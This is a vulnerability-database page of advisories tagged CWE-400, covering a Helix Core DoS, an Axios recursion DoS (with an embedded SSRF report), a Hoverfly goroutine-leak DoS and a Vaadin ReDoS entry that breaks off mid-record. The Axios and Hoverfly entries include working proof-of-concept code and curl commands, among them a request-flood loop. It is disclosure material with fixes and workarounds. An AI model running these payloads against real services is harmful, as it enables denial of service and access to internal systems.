Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5486 vulnerabilities reference this CWE, most recent first.

GHSA-42FF-P6Q5-G8PG

Vulnerability from github – Published: 2023-11-08 18:30 – Updated: 2023-11-15 18:30
VLAI
Details

In Helix Core versions prior to 2023.2, an unauthenticated remote Denial of Service (DoS) via the shutdown function was identified. Reported by Jason Geffner.  

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-35767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-08T16:15:08Z",
    "severity": "HIGH"
  },
  "details": "In Helix Core versions prior to 2023.2, an unauthenticated remote Denial of Service (DoS) via the shutdown function was identified.  Reported by Jason Geffner. \u00a0\n",
  "id": "GHSA-42ff-p6q5-g8pg",
  "modified": "2023-11-15T18:30:21Z",
  "published": "2023-11-08T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35767"
    },
    {
      "type": "WEB",
      "url": "https://perforce.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-42H9-826W-CGV3

Vulnerability from github – Published: 2026-07-20 17:58 – Updated: 2026-07-20 17:58
VLAI
Summary
Axios: Excessive recursion in formDataToJSON can cause denial of service
Details

Summary

Axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON, the helper behind the public axios.formToJSON() / named formToJSON API and the default request transform used when FormData is sent with an application/json content type.

Applications are affected when they pass attacker-controlled FormData field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw RangeError: Maximum call stack size exceeded, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.

Impact

The impact is denial of service against applications that process untrusted FormData field names through axios' FormData-to-JSON conversion.

The vulnerable path is not reached by merely installing axios, by normal multipart FormData pass-through, or by ordinary axios requests that do not request JSON serialisation of FormData. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of formToJSON() throws synchronously.

Server-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with formToJSON() or sends them through axios as JSON.

Affected Functionality

Affected APIs and paths: - axios.formToJSON(formData) - import { formToJSON } from "axios" - lib/helpers/formDataToJSON.js - axios default transformRequest when data is FormData and Content-Type contains application/json

Unaffected or lower-risk paths: - Normal multipart FormData requests without JSON Content-Type - toFormData() object-to-FormData serialisation, which already has a maxDepth guard - Axios versions before 0.28.0, where this helper and public API were not present

Technical Details

lib/helpers/formDataToJSON.js parses a form field name into path segments with parsePropPath(). For a key such as a[x][x][x], each bracketed segment becomes another path element.

formDataToJSON() then calls the nested buildPath(path, value, target, index) function. buildPath() recursively calls itself once for each path segment and does not enforce a maximum depth:

const result = buildPath(path, value, target[name], index);

A key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws RangeError: Maximum call stack size exceeded.

Axios already applies a depth guard to the inverse serializer in lib/helpers/toFormData.js, where maxDepth defaults to 100 and exceeding it throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. formDataToJSON() does not currently have equivalent protection.

Proof of Concept of Attack

import { formToJSON } from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

try {
  formToJSON(fd);
  console.log("not vulnerable");
} catch (err) {
  console.log(`${err.constructor.name}: ${err.message}`);
}

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

The axios request transform path can also be reached before network I/O:

import axios from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

await axios
  .post("http://127.0.0.1:1/", fd, {
    headers: { "Content-Type": "application/json" }
  })
  .catch((err) => console.log(`${err.constructor.name}: ${err.message}`));

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

Workarounds

Applications can avoid the vulnerable path by not converting attacker-controlled FormData to JSON with axios.

If conversion is required before a fixed axios release is available, validate FormData field names before calling formToJSON() or before sending FormData with Content-Type: application/json. Reject keys whose parsed nesting depth exceeds the application's expected schema.

For axios requests carrying untrusted FormData, avoid setting Content-Type: application/json; leaving the data as multipart FormData bypasses formDataToJSON().

Catching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.

Original Report # Axios SSRF via Incomplete Loopback Detection ## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L --- ## 1. Classification | CWE | CVSS Score | Severity | Type | |-----|-----------|----------|------| | CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery | ## 2. Description ### Summary The `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface. ### Root Cause **File:** `lib/helpers/shouldBypassProxy.js` **`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== '127'`. The `0.0.0.0` address has `parts[0] === '0'`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface. **`isIPv6Loopback` (lines 10-38):** Only checks `host === '::1'`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised. **Attack Flow:** 
isIPv4Loopback (line 3) — fails for 0.0.0.0
  → isLoopback (line 44) — wraps both checks, returns false
    → shouldBypassProxy (line 127) — PUBLIC API, exported default
      → lib/adapters/http.js (line 190) — Node.js HTTP adapter
### Attack Vector - **Access Vector:** Network (AV:N) - **Access Complexity:** Low (AC:L) — attacker only needs control of a URL - **Privileges Required:** None (PR:N) - **User Interaction:** None (UI:N) ## 3. Proof of Concept ### Phase 1: Logic Verification 
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';

// Normal loopback — correctly returns true (bypasses proxy)
shouldBypassProxy('http://127.0.0.1:9999/');  // → true

// Vulnerable — returns false (goes through proxy!)
shouldBypassProxy('http://0.0.0.0:9999/');    // → false  ← SSRF
shouldBypassProxy('http://[::]:9999/');        // → false  ← SSRF
shouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF
### Phase 2: Docker E2E Reproduction A full 3-container Docker reproduction was created and tested: - **Proxy container:** Simple HTTP forward proxy on port 8888 - **Internal container:** Internal service on port 9999 (simulates sensitive internal resource) - **Attacker container:** Runs the test script with Axios source mounted **Reproduction steps:** 
cd /tmp/deep-e2e
docker compose up -d
docker compose exec attacker node test-ssrf.js
**Results:** - Test 1: `127.0.0.1 + NO_PROXY=localhost` → BYPASS (correct) - Test 2: `0.0.0.0 + NO_PROXY=localhost` → VIA_PROXY (SSRF) - Test 3: `[::] + NO_PROXY=localhost` → VIA_PROXY (SSRF) - Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` → VIA_PROXY (SSRF) ### Phase 3: Actual Axios Client The real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration: - Axios with `proxy: { host: 'proxy', port: 8888 }` - Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/` - Result: Axios forwarded the request through the proxy instead of bypassing it ## 4. Impact ### Attack Scenario 1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain) 2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services 3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL 4. Axios sends the request through the proxy 5. The proxy resolves `0.0.0.0` → the proxy's own loopback → reaches the internal admin service on port 8080 ### Potential Consequences - **Information disclosure (C:L):** Internal service responses become accessible - **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE) - **Availability impact (A:L):** Limited — depends on internal service behavior ### Likelihood - **High** — proxy bypass is a common pattern in microservice architectures - **Medium** — requires attacker control of a URL (not always available) ## 5. Remediation ### Code Fix **File:** `lib/helpers/shouldBypassProxy.js` 
function isIPv4Loopback(host) {
  if (host === '0.0.0.0') return true;  // ADD THIS LINE
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;
  return parts.every(p => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
}

function isIPv6Loopback(host) {
  if (host === '::1' || host === '::') return true;  // ADD '::'
  // ... rest of implementation
}
### Workarounds - Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly - Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs - Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios
Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.28.0"
            },
            {
              "fixed": "0.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T17:58:59Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nAxios versions `0.28.0` and later contain uncontrolled recursion in `formDataToJSON`, the helper behind the public `axios.formToJSON()` / named `formToJSON` API and the default request transform used when FormData is sent with an `application/json` content type.\n\nApplications are affected when they pass attacker-controlled `FormData` field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw `RangeError: Maximum call stack size exceeded`, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.\n\n## Impact\nThe impact is denial of service against applications that process untrusted `FormData` field names through axios\u0027 FormData-to-JSON conversion.\n\nThe vulnerable path is not reached by merely installing axios, by normal multipart `FormData` pass-through, or by ordinary axios requests that do not request JSON serialisation of `FormData`. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of `formToJSON()` throws synchronously.\n\nServer-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with `formToJSON()` or sends them through axios as JSON.\n\n## Affected Functionality\nAffected APIs and paths:\n- `axios.formToJSON(formData)`\n- `import { formToJSON } from \"axios\"`\n- `lib/helpers/formDataToJSON.js`\n- axios default `transformRequest` when `data` is `FormData` and `Content-Type` contains `application/json`\n\nUnaffected or lower-risk paths:\n- Normal multipart `FormData` requests without `JSON Content-Type`\n- `toFormData()` object-to-FormData serialisation, which already has a `maxDepth` guard\n- Axios versions before 0.28.0, where this helper and public API were not present\n\n## Technical Details\n`lib/helpers/formDataToJSON.js` parses a form field name into path segments with `parsePropPath()`. For a key such as `a[x][x][x]`, each bracketed segment becomes another path element.\n\n`formDataToJSON()` then calls the nested `buildPath(path, value, target, index)` function. `buildPath()` recursively calls itself once for each path segment and does not enforce a maximum depth:\n\n`const result = buildPath(path, value, target[name], index);`\n\nA key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws `RangeError: Maximum call stack size exceeded`.\n\nAxios already applies a depth guard to the inverse serializer in `lib/helpers/toFormData.js`, where `maxDepth` defaults to 100 and exceeding it throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. `formDataToJSON()` does not currently have equivalent protection.\n\n## Proof of Concept of Attack\n```js\nimport { formToJSON } from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\ntry {\n  formToJSON(fd);\n  console.log(\"not vulnerable\");\n} catch (err) {\n  console.log(`${err.constructor.name}: ${err.message}`);\n}\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\nThe axios request transform path can also be reached before network I/O:\n\n```js\nimport axios from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\nawait axios\n  .post(\"http://127.0.0.1:1/\", fd, {\n    headers: { \"Content-Type\": \"application/json\" }\n  })\n  .catch((err) =\u003e console.log(`${err.constructor.name}: ${err.message}`));\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\n## Workarounds\nApplications can avoid the vulnerable path by not converting attacker-controlled `FormData` to JSON with axios.\n\nIf conversion is required before a fixed axios release is available, validate `FormData` field names before calling `formToJSON()` or before sending `FormData` with `Content-Type: application/json`. Reject keys whose parsed nesting depth exceeds the application\u0027s expected schema.\n\nFor axios requests carrying untrusted `FormData`, avoid setting `Content-Type: application/json`; leaving the data as multipart FormData bypasses `formDataToJSON()`.\n\nCatching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n# Axios SSRF via Incomplete Loopback Detection\n## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n---\n\n## 1. Classification\n\n| CWE | CVSS Score | Severity | Type |\n|-----|-----------|----------|------|\n| CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery |\n\n## 2. Description\n\n### Summary\nThe `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy\u0027s loopback interface.\n\n### Root Cause\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n**`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== \u0027127\u0027`. The `0.0.0.0` address has `parts[0] === \u00270\u0027`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface.\n\n**`isIPv6Loopback` (lines 10-38):** Only checks `host === \u0027::1\u0027`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised.\n\n**Attack Flow:**\n```\nisIPv4Loopback (line 3) \u2014 fails for 0.0.0.0\n  \u2192 isLoopback (line 44) \u2014 wraps both checks, returns false\n    \u2192 shouldBypassProxy (line 127) \u2014 PUBLIC API, exported default\n      \u2192 lib/adapters/http.js (line 190) \u2014 Node.js HTTP adapter\n```\n\n### Attack Vector\n- **Access Vector:** Network (AV:N)\n- **Access Complexity:** Low (AC:L) \u2014 attacker only needs control of a URL\n- **Privileges Required:** None (PR:N)\n- **User Interaction:** None (UI:N)\n\n## 3. Proof of Concept\n\n### Phase 1: Logic Verification\n\n```javascript\nimport shouldBypassProxy from \u0027axios/lib/helpers/shouldBypassProxy.js\u0027;\n\n// Normal loopback \u2014 correctly returns true (bypasses proxy)\nshouldBypassProxy(\u0027http://127.0.0.1:9999/\u0027);  // \u2192 true\n\n// Vulnerable \u2014 returns false (goes through proxy!)\nshouldBypassProxy(\u0027http://0.0.0.0:9999/\u0027);    // \u2192 false  \u2190 SSRF\nshouldBypassProxy(\u0027http://[::]:9999/\u0027);        // \u2192 false  \u2190 SSRF\nshouldBypassProxy(\u0027http://[::ffff:0.0.0.0]:9999/\u0027); // \u2192 false \u2190 SSRF\n```\n\n### Phase 2: Docker E2E Reproduction\n\nA full 3-container Docker reproduction was created and tested:\n\n- **Proxy container:** Simple HTTP forward proxy on port 8888\n- **Internal container:** Internal service on port 9999 (simulates sensitive internal resource)\n- **Attacker container:** Runs the test script with Axios source mounted\n\n**Reproduction steps:**\n```bash\ncd /tmp/deep-e2e\ndocker compose up -d\ndocker compose exec attacker node test-ssrf.js\n```\n\n**Results:**\n- Test 1: `127.0.0.1 + NO_PROXY=localhost` \u2192 BYPASS (correct) \n- Test 2: `0.0.0.0 + NO_PROXY=localhost` \u2192 VIA_PROXY (SSRF) \n- Test 3: `[::] + NO_PROXY=localhost` \u2192 VIA_PROXY (SSRF) \n- Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` \u2192 VIA_PROXY (SSRF) \n\n### Phase 3: Actual Axios Client\n\nThe real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:\n- Axios with `proxy: { host: \u0027proxy\u0027, port: 8888 }` \n- Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/`\n- Result: Axios forwarded the request through the proxy instead of bypassing it\n\n## 4. Impact\n\n### Attack Scenario\n1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)\n2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services\n3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL\n4. Axios sends the request through the proxy\n5. The proxy resolves `0.0.0.0` \u2192 the proxy\u0027s own loopback \u2192 reaches the internal admin service on port 8080\n\n### Potential Consequences\n- **Information disclosure (C:L):** Internal service responses become accessible\n- **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)\n- **Availability impact (A:L):** Limited \u2014 depends on internal service behavior\n\n### Likelihood\n- **High** \u2014 proxy bypass is a common pattern in microservice architectures\n- **Medium** \u2014 requires attacker control of a URL (not always available)\n\n## 5. Remediation\n\n### Code Fix\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\nfunction isIPv4Loopback(host) {\n  if (host === \u00270.0.0.0\u0027) return true;  // ADD THIS LINE\n  const parts = host.split(\u0027.\u0027);\n  if (parts.length !== 4) return false;\n  if (parts[0] !== \u0027127\u0027) return false;\n  return parts.every(p =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n}\n\nfunction isIPv6Loopback(host) {\n  if (host === \u0027::1\u0027 || host === \u0027::\u0027) return true;  // ADD \u0027::\u0027\n  // ... rest of implementation\n}\n```\n\n### Workarounds\n- Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly\n- Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs\n- Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios",
  "id": "GHSA-42h9-826w-cgv3",
  "modified": "2026-07-20T17:58:59Z",
  "published": "2026-07-20T17:58:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11001"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.33.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service"
}

GHSA-42J2-W334-QXW7

Vulnerability from github – Published: 2026-07-14 18:04 – Updated: 2026-07-14 18:04
VLAI
Summary
Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions
Details

Summary:

Remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.

Details:

1. Remote actions executed in goroutines without timeout (core/hoverfly.go:224-228):

go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)

Post-serve actions are executed in separate goroutines with no recovery wrapper.

2. HTTP client has no timeout (core/action/action.go:128-143):

req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes))
// ...
resp, err := http.DefaultClient.Do(req)  // No timeout! Blocks forever.

http.DefaultClient has zero timeout by default in Go. If the remote server: - Accepts the TCP connection but never sends a response - Establishes TLS but never completes the handshake
- Uses TCP window size 0 (flow control stall)

...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.

3. No goroutine limit or backpressure:

There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.

4. The goroutine is never cleaned up:

The only exit path from Execute() is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.

Environment:

  • Hoverfly version: v1.12.7
  • Operating System: macOS Darwin 25.4.0
  • Go version: 1.26.2
  • Configuration: Default (no flags required)

POC:

Step 1: Start a black-hole TCP listener (accepts connections, never responds)

# Option A: Use ncat
ncat -l -k 9999 &

# Option B: Use a non-routable IP (connections hang at TCP SYN)
# 192.0.2.1 is TEST-NET-1, guaranteed non-routable
# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)

Step 2: Register remote post-serve action pointing to the black hole

curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
  -H "Content-Type: application/json" \
  -d '{
    "actionName": "leak",
    "remote": "http://192.0.2.1:9999/blackhole",
    "delayInMs": 0
  }'

Step 3: Load a catch-all simulation

curl -X PUT http://localhost:8888/api/v2/simulation \
  -H "Content-Type: application/json" \
  -d '{
    "data": {
      "pairs": [{
        "request": {"path": [{"matcher": "glob", "value": "*"}]},
        "response": {"status": 200, "body": "ok", "postServeAction": "leak"}
      }],
      "globalActions": {"delays": [], "delaysLogNormal": []}
    },
    "meta": {"schemaVersion": "v5.2"}
  }'

Step 4: Flood with requests

# Each request spawns an immortal goroutine
for i in $(seq 1 10000); do
    curl -s -x http://localhost:8500 "http://target.com/req${i}" &
    # Throttle to avoid local FD exhaustion
    [ $((i % 100)) -eq 0 ] && wait
done

Verified memory impact on Hoverfly v1.12.7:

Memory before: 20,064 KB
Memory after 50 requests: 23,376 KB
Memory increase: 3,312 KB (66 KB per goroutine)

At this rate: - 1,000 requests = ~64 MB leaked - 10,000 requests = ~640 MB leaked - 100,000 requests = ~6.4 GB leaked → OOM crash

Impact:

An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:

  1. Registering a remote post-serve action pointing to a non-responsive endpoint.
  2. Loading a catch-all simulation that triggers the action on every request.
  3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.12.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/SpectoLabs/hoverfly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T18:04:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary:\n\nRemote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.\n\n### Details:\n\n**1. Remote actions executed in goroutines without timeout (`core/hoverfly.go:224-228`):**\n\n```go\ngo postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)\n```\n\nPost-serve actions are executed in separate goroutines with no recovery wrapper.\n\n**2. HTTP client has no timeout (`core/action/action.go:128-143`):**\n\n```go\nreq, err := http.NewRequest(\"POST\", action.Remote, bytes.NewBuffer(pairViewBytes))\n// ...\nresp, err := http.DefaultClient.Do(req)  // No timeout! Blocks forever.\n```\n\n`http.DefaultClient` has zero timeout by default in Go. If the remote server:\n- Accepts the TCP connection but never sends a response\n- Establishes TLS but never completes the handshake  \n- Uses TCP window size 0 (flow control stall)\n\n...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.\n\n**3. No goroutine limit or backpressure:**\n\nThere is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.\n\n**4. The goroutine is never cleaned up:**\n\nThe only exit path from `Execute()` is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.\n\n### Environment:\n\n- **Hoverfly version:** v1.12.7\n- **Operating System:** macOS Darwin 25.4.0\n- **Go version:** 1.26.2\n- **Configuration:** Default (no flags required)\n\n### POC:\n\n**Step 1: Start a black-hole TCP listener (accepts connections, never responds)**\n\n```bash\n# Option A: Use ncat\nncat -l -k 9999 \u0026\n\n# Option B: Use a non-routable IP (connections hang at TCP SYN)\n# 192.0.2.1 is TEST-NET-1, guaranteed non-routable\n# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)\n```\n\n**Step 2: Register remote post-serve action pointing to the black hole**\n\n```bash\ncurl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"actionName\": \"leak\",\n    \"remote\": \"http://192.0.2.1:9999/blackhole\",\n    \"delayInMs\": 0\n  }\u0027\n```\n\n**Step 3: Load a catch-all simulation**\n\n```bash\ncurl -X PUT http://localhost:8888/api/v2/simulation \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"data\": {\n      \"pairs\": [{\n        \"request\": {\"path\": [{\"matcher\": \"glob\", \"value\": \"*\"}]},\n        \"response\": {\"status\": 200, \"body\": \"ok\", \"postServeAction\": \"leak\"}\n      }],\n      \"globalActions\": {\"delays\": [], \"delaysLogNormal\": []}\n    },\n    \"meta\": {\"schemaVersion\": \"v5.2\"}\n  }\u0027\n```\n\n**Step 4: Flood with requests**\n\n```bash\n# Each request spawns an immortal goroutine\nfor i in $(seq 1 10000); do\n    curl -s -x http://localhost:8500 \"http://target.com/req${i}\" \u0026\n    # Throttle to avoid local FD exhaustion\n    [ $((i % 100)) -eq 0 ] \u0026\u0026 wait\ndone\n```\n\n**Verified memory impact on Hoverfly v1.12.7:**\n\n```\nMemory before: 20,064 KB\nMemory after 50 requests: 23,376 KB\nMemory increase: 3,312 KB (66 KB per goroutine)\n```\n\nAt this rate:\n- 1,000 requests = ~64 MB leaked\n- 10,000 requests = ~640 MB leaked\n- 100,000 requests = ~6.4 GB leaked \u2192 OOM crash\n\n### Impact:\n\nAn attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:\n\n1. Registering a remote post-serve action pointing to a non-responsive endpoint.\n2. Loading a catch-all simulation that triggers the action on every request.\n3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.",
  "id": "GHSA-42j2-w334-qxw7",
  "modified": "2026-07-14T18:04:55Z",
  "published": "2026-07-14T18:04:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/pull/1228"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SpectoLabs/hoverfly"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions"
}

GHSA-42J4-733X-5VCF

Vulnerability from github – Published: 2021-04-19 14:49 – Updated: 2024-05-15 06:27
VLAI
Summary
Regular expression denial of service (ReDoS) in EmailValidator class in Vaadin 7
Details

Unsafe validation RegEx in EmailValidator class in com.vaadin:vaadin-server versions 7.0.0 through 7.7.21 (Vaadin 7.0.0 through 7.7.21) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.

  • https://vaadin.com/security/cve-2020-36320
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.vaadin:vaadin-bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0.beta1"
            },
            {
              "fixed": "7.7.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.vaadin:vaadin-server"
      },
      "ranges": [
        {
          "events": [
            {
